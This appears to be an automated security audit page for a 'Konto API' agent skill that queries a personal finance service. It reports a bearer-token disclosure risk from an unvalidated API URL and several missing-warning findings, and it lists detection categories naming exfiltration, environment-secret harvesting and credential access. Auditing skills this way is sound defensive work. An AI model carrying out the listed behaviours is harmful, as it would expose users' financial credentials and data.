T09 · Insecure Skill Coding Practices
Warning
- Location
scripts/konto.sh:2- Finding
Unvalidated API destination can disclose the bearer token
- Content
View full analysis
- Remediation
View remediation
Security audit
Konto API
Security checks for vulnerabilities and agentic risk
Overview
This skill is a straightforward helper for querying a personal finance API, with no hidden persistence or destructive behavior found.
Install only if you trust the Konto service and the configured KONTO_URL. Keep ~/.openclaw/secrets/konto.env private, use HTTPS, avoid sharing command output because it may contain financial details, and prefer the narrowest endpoint needed instead of broad summaries or long transaction histories.
Vulnerability Patterns
- Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
- Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
- Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
- Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
- Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)
Vulnerability Patterns
- Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
- Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
- Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
- Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
- Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
Findings (4)
Missing User Warnings
Medium
- Category
- Not specified by scanner
- Confidence
- 95% confidence
- Finding
This skill explicitly interacts with a personal finance API and exposes examples for retrieving banking, loan, investment, and transaction data from an external service, but it does not warn users that highly sensitive financial information will be transmitted off-host to remote endpoints. In this context, omission of a clear disclosure materially increases the risk of unintentional data exposure, especially because the examples encourage broad queries such as full summaries and transaction history.
- Content
Missing User Warnings
Medium
- Category
- Not specified by scanner
- Confidence
- 88% confidence
- Finding
This markdown file documents endpoints returning bank accounts, transactions, investments, assets, loans, and a full financial summary, which are all highly sensitive user data. The description explains how to access and use these endpoints but does not include any warning about handling personal financial information, privacy implications, or careful disclosure of results.
- Content
Missing User Warnings
Medium
- Category
- Not specified by scanner
- Confidence
- 87% confidence
- Finding
The quick reference explicitly instructs users to source a local secrets file and immediately use the loaded API key in authenticated requests, but it provides no warning about credential sensitivity, shell history, environment leakage, or safe secret handling. In an agent-skill context, this is more dangerous because users may copy commands verbatim, increasing the chance of exposing financial API credentials or unintentionally querying sensitive personal data.
- Content
Missing User Warnings
Medium
- Category
- Not specified by scanner
- Confidence
- 90% confidence
- Finding
The script sources secrets from a local environment file and uses the API key to send authenticated curl requests to a remote service. There is no confirmation prompt, logging, comment, or other user-facing disclosure in the file explaining that credentials will be loaded and account data transmitted over the network.
- Content
Static analysis
No suspicious patterns detected.